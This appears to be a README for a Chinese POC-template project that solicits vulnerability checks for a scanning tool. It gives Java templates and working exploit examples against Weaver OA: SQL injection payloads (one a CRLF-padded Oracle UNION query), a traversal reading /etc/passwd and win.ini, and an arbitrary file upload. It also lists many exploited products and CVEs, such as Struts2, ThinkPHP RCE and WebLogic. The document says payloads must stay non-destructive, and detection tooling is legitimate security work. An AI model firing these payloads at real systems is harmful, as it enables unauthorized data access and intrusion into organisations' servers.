HVVExploitApply_POC
HVVExploitApply_POC copied to clipboard
HVVExploitApply工具POC登记信息
HVVExploitApply - POC模版文档
贡献10+POC可获取:工具授权使用名额X1
基础语法介绍
指定Cookie信息:
Cookie.put("name","key");
Cookie.put("name2","key2");
...
指定Headers信息:
Headers.put("Content-Type","application/octet-stream");
Headers.put("Cmd","whoami");
...
模版介绍
单GET请求
只需要访问单次的GET请求
public static boolean Testname(String url) {
// Testname 意思是漏洞的名称或者接口,自定义即可,但必须英文字母开头,如果有特殊符号请使用下划线 “_” 代替。
Map<String, Object> Cookie = new HashMap<>();
// 新建一个Cookie的map,如果不需要指定Cookie就可以不用管
Map<String, Object> Headers = new HashMap<>();
// 新建一个Headers的map,如果不需要指定一些Headers就可以不用管
boolean good = false;
// 定义一个接收返回值的变量
LinkedList<String> Result = Request.Get(url+"需要访问的地址,例如:/1.txt", Cookie, Headers, true);
// 使用Get方式发送请求,需要提供url参数,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管
if (Result.size() > 0) {
// 判断请求是否成功且正常,不用管
good = Result.get(2).contains("Test");
// 获取响应源代码然后在源代码中寻找指定内容:“Test”,如果存在则返回true,不存在就返回false
}
return good;
// 返回是否存在漏洞
}
单POST请求
只需要访问单次的POST请求
public static boolean Testname(String url) {
// Testname 意思是漏洞的名称或者接口,自定义即可,但必须英文字母开头,如果有特殊符号请使用下划线 “_” 代替。
Map<String, Object> Cookie = new HashMap<>();
// 新建一个Cookie的map,如果不需要指定Cookie就可以不用管
Map<String, Object> Headers = new HashMap<>();
// 新建一个Headers的map,如果不需要指定一些Headers就可以不用管
String Body = "Test";
// 把需要发送的POST数据放到一个名为Body的变量中
boolean good = false;
// 定义一个接收返回值的变量
LinkedList<String> Result = Request.Post(url+"需要访问的地址,例如:/1.txt";, Body, Cookie, Headers, true);
// 使用Post方式发送请求,需要提供url参数和Post数据,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管
if (Result.size() > 0) { // 判断请求是否成功且正常,不用管
good = Result.get(2).contains("Test");
// 获取响应源代码然后在源代码中寻找指定内容:“Test”,如果存在则返回true,不存在就返回false
}
return good;
// 返回是否存在漏洞
}
多次请求
需要访问多次请求,例如多个Payload或者上传漏洞、组合利用漏洞等可能需要这个方式
[Get] 多个Payload:
public static boolean Testname(String url) {
// Testname 意思是漏洞的名称或者接口,自定义即可,但必须英文字母开头,如果有特殊符号请使用下划线 “_” 代替。
Map<String, Object> Cookie = new HashMap<>();
// 新建一个Cookie的map,如果不需要指定Cookie就可以不用管
Map<String, Object> Headers = new HashMap<>();
// 新建一个Headers的map,如果不需要指定一些Headers就可以不用管
boolean good = false;
// 定义一个接收返回值的变量
LinkedList<String> Result = Request.Get(url+"第一次需要访问的地址,例如:/payload1.jsp", Cookie, Headers, true);
// 使用Get方式发送第一次请求,需要提供url参数,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管
if (Result.size() > 0) {
// 判断请求是否成功且正常,不用管
if(!Result.get(2).contains("Test1")){
// 获取响应源代码然后在源代码中寻找指定内容:“Test1”,如果存在则返回true,不存在就返回false
// 如果存在上面那个关键词则会执行下列代码
Result.clear();
// 清空第一次请求的返回信息
Result = Request.Get(url+"第二次需要访问的地址,例如:/payload2.jsp", Cookie, Headers, true);
// 使用Get方式发送第二次请求,需要提供url参数,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管
good = Result.get(2).contains("Test2");
// 获取响应源代码然后在源代码中寻找指定内容:“Test2”,如果存在则返回true,不存在就返回false
}else {
good = Result.get(2).contains("Test1");
// 注意这个else,这个是if !Result.get(2).contains("Test1") 的else,所以这里需要判断"Test1"
// 获取响应源代码然后在源代码中寻找指定内容:“Test1”,如果存在则返回true,不存在就返回false
}
}
return good;
// 返回是否存在漏洞
}
[Post] 上传漏洞:
public static boolean Testname(String url) {
// Testname 意思是漏洞的名称或者接口,自定义即可,但必须英文字母开头,如果有特殊符号请使用下划线 “_” 代替。
Map<String, Object> Cookie = new HashMap<>();
// 新建一个Cookie的map,如果不需要指定Cookie就可以不用管
Map<String, Object> Headers = new HashMap<>();
// 新建一个Headers的map,如果不需要指定一些Headers就可以不用管
Headers.put("Content-Type","application/octet-stream");
// 指定上传文件的文件类型,因为Type属于Header,所以直接新增Headers即可
String Body = "Test";
// 把需要发送的POST数据放到一个名为Body的变量中
// 注意:上传漏洞的Post数据就是要上传的文件数据,上传内容必须为Test,文件名必须是txt格式!
boolean good = false;
// 定义一个接收返回值的变量
LinkedList<String> Result = Request.Upload(url+"/page/exportImport/uploadOperation.jsp", "filename",Body,"test.txt", Cookie, Headers, true);
// 使用Post方式发送上传文件的请求,需要提供url参数和Post数据还有要上传的文件名和filename,如果需要访问指定地址的话通过加号拼接url即可,其他参数不用管
// filename介绍看下图
if (Result.size() > 0) {
// 判断请求是否成功且正常,不用管
if (Integer.parseInt(Result.get(1)) == 200){
// 获取相应状态码并且转换为int类型(默认是string类型),然后判断是否等于200,如果等于200则返回true,如果不等于200那么返回false
// 如果等于200则执行下面代码
// 200可以自定义,因为有一些上传后给你返回的可能是400,所以要根据漏洞写
Result.clear();
// 清空第一次请求的返回信息
Result = Request.Get(url+"/test.txt", Cookie, Headers, true);
// 使用Get方式发送第二次请求,需要提供url参数,如果需要访问指定地址的话通过加号拼接即可,其他参数不用管
// 这里访问的是上传的文件,看看是否上传成功了
good = Result.get(2).contains("Test");
// 获取响应源代码然后在源代码中寻找指定内容:“Test”,如果存在则返回true,不存在就返回false
}else {
good = false;
// 注意这个else,这个是if Integer.parseInt(Result.get(1)) == 200 的else,所以这里直接返回false,因为既然不等于200了,那么就是上传失败了
}
}
return good;
// 返回是否存在漏洞
}

用例
单GET请求
public static boolean getdatasql(String url) {
Map<String, Object> Cookie = new HashMap<>();
Map<String, Object> Headers = new HashMap<>();
boolean good = false;
LinkedList<String> Result = Request.Get(url+"/js/hrm/getdata.jsp?cmd=getSelectAllId&sql=select%20concat('13579','24680')%20as%20id%20from%20HrmResourceManager", Cookie, Headers, true);
if (Result.size() > 0) {
good = Result.get(2).contains("1357924680");
}
return good;
}
单POST请求
public static boolean WorkflowCenterTreeDataSQL(String url) {
Map<String, Object> Cookie = new HashMap<>();
Map<String, Object> Headers = new HashMap<>();
String Body = "formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0dunion select NULL,BANNER from v$version order by (((1";
boolean good = false;
LinkedList<String> Result = Request.Post(url+"/mobile/browser/WorkflowCenterTreeData.jsp?node=wftype_1&scope=2333", Body, Cookie, Headers, true);
if (Result.size() > 0) {
good = Result.get(2).contains("Oracle Database");
}
return good;
}
多Payload请求
public static boolean SignatureDownLoad(String url) {
Map<String, Object> Cookie = new HashMap<>();
Map<String, Object> Headers = new HashMap<>();
boolean good = false;
LinkedList<String> Result = Request.Get(url+"/weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27C:/Windows/win.ini%27", Cookie, Headers, true);
if (Result.size() > 0) {
if(!Result.get(2).contains("app support")){
Result.clear();
Result = Request.Get(url+"/weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27/etc/passwd%27", Cookie, Headers, true);
good = Result.get(2).contains("root:x");
}else {
good = Result.get(2).contains("app support");
}
}
return good;
}
上传漏洞
public static boolean uploadOperation(String url) {
Map<String, Object> Cookie = new HashMap<>();
Map<String, Object> Headers = new HashMap<>();
Headers.put("Content-Type","application/octet-stream");
String Body = "Test";
boolean good = false;
LinkedList<String> Result = Request.Upload(url+"/page/exportImport/uploadOperation.jsp", "file",Body,"test.txt", Cookie, Headers, true);
if (Result.size() > 0) {
if (Integer.parseInt(Result.get(1)) == 200){
Result.clear();
Result = Request.Get(url+"/page/exportImport/fileTransfer/test.txt", Cookie, Headers, true);
good = Result.get(2).contains("Test");
}else {
good = false;
}
}
return good;
}
📌写好后请将代码发送给微信:backxyh
每个POC需提供最少3个检测用例
注释和例子写的很详细了,不会Java的话也可以直接按照模版往里套就好。
POC写完后加微信:backxyh提交即可,兑换也是找这个微信。
可以先对照peiqi文库的漏洞信息进行编写,http://wiki.peiqi.tech/
注:提交的漏洞严禁带有攻击性,请提交前自查,代码执行所执行的代码必须是print之类的函数,命令执行所执行的命令必须是echo命令,如果需要dnslog请联系上方微信。
当前已有漏洞
泛微漏洞(PeiQi文库发布的已写完)
- 泛微OA E-Bridge saveYZJFile 任意文件读取漏洞 - @backxyh
- 泛微OA E-Cology BshServlet 远程代码执行漏洞 CNVD-2019-32204 - @backxyh
- 泛微OA E-Cology HrmCareerApplyPerView.jsp SQL注入漏洞 - @backxyh
- 泛微OA E-Cology LoginSSO.jsp SQL注入漏洞 CNVD-2021-33202 - @backxyh
- 泛微OA E-Cology getSqlData SQL注入漏洞 - @backxyh
- 泛微OA E-Cology users.data 敏感信息泄漏 - @backxyh
- 泛微OA E-Office UploadFile.php 任意文件上传漏洞 CNVD-2021-49104 - @backxyh
- 泛微OA E-Office UserSelect 未授权访问漏洞 - @backxyh
- 泛微OA E-Office group_xml.php SQL注入漏洞 - @backxyh
- 泛微OA E-Office mysql_config.ini 数据库信息泄漏漏洞 - @backxyh
- 泛微OA E-Office officeserver.php 任意文件读取漏洞 - @backxyh
- 泛微OA E-Weaver SignatureDownLoad 任意文件读取漏洞 - @backxyh
- 泛微OA E-Weaver ln.FileDownload 任意文件读取漏洞 - @backxyh
- 泛微OA WorkflowCenterTreeData SQL注入漏洞 - @backxyh
- 泛微OA getdata.jsp SQL注入漏洞 - @backxyh
- 泛微OA uploadOperation.jsp 任意文件上传 - @backxyh
通达漏洞(PeiQi文库发布的已写完)
- 通达OA v2014 get_contactlist.php 敏感信息泄漏漏洞 - @WAIT_WAIT_ing
- 通达OA v2017 video_file.php 任意文件下载漏洞 - @WAIT_WAIT_ing
- 通达OA v2017 登录绕过 - @_920169
万户漏洞(PeiQi文库发布的已写完)
- 万户OA download_ftp.jsp 任意文件下载漏洞 - @WAIT_WAIT_ing
- 万户OA downloadhttp.jsp 任意文件下载漏洞 - @WAIT_WAIT_ing
用友漏洞(PeiQi文库发布的已写完)
- 用友 NC NCFindWeb 任意文件读取漏洞 - @WAIT_WAIT_ing
- 用友 ERP-NC NCFindWeb 目录遍历漏洞 - @WAIT_WAIT_ing
- 用友 U8 OA test.jsp SQL注入漏洞 - cat_fl4g
蓝凌漏洞(PeiQi文库发布的已写完)
- 蓝凌OA Datajson 未授权RCE漏洞 - @cat_fl4g
智名(PeiQi文库发布的已写完)
数据库漏洞
Couchdb
- Couchdb 垂直权限绕过漏洞(CVE-2017-12635) - @QAQxiaoxx
CMS框架漏洞
- Atlassian Confluence OGNL表达式注入命令执行漏洞(CVE-2022-26134) - @QAQxiaoxx
- 狮子鱼CMS ApiController.class.php SQL注入漏洞 - @Ruojihack
- 狮子鱼CMS ApigoodController.class.php SQL注入漏洞 - @Ruojihack
- 狮子鱼CMS image_upload.php 任意文件上传 - @Ruojihack
- 狮子鱼CMS wxapp.php 任意文件上传漏洞 - @Ruojihack
重点关注系统
- Struts2-013 - @Ruojihack
- Struts2-016 - @Ruojihack
- Struts2-019 - @Ruojihack
- Struts2-032 - @Ruojihack
- Struts2-033 - @Ruojihack
- Struts2-048 - @Ruojihack
- Struts2-057 - @Ruojihack
- thinkphp 5.0.23_完整版_debug模式 - @Ruojihack
- thinkphp 5.1.x 和 5.2.x 和 5.0.x_完整版_debug模式 - @Ruojihack
- thinkphp-RCE-POC-5.X_1 - @Ruojihack
- thinkphp-RCE-POC-5.X_2 - @Ruojihack
- thinkphp-RCE-POC-5.X_3 - @Ruojihack
- thinkphp-RCE-POC-5.X_4 - @Ruojihack
- thinkphp-RCE-POC-5.X_5 - @Ruojihack
- thinkphp-RCE-POC-5.X_6 - @Ruojihack
- thinkphp-RCE-POC-5.X_7 - @Ruojihack
- thinkphp-RCE-POC-5.X_8 - @Ruojihack
- thinkphp-RCE-POC-5.X_9 - @Ruojihack
- thinkphp5.0.10_完整版_debug模式 - @Ruojihack
- WebLogic-CVE_2017_10271_10 - @backxyh
- WebLogic-CVE_2017_10271_12 - @backxyh
- WebLogic-CVE_2019_2725_10 - @backxyh
- WebLogic-CVE_2019_2725_10_bypass - @backxyh
- WebLogic-CVE_2019_2725_12_1 - @backxyh
- WebLogic-CVE_2019_2725_12_2 - @backxyh
- WebLogic-CVE_2020_14882 - @backxyh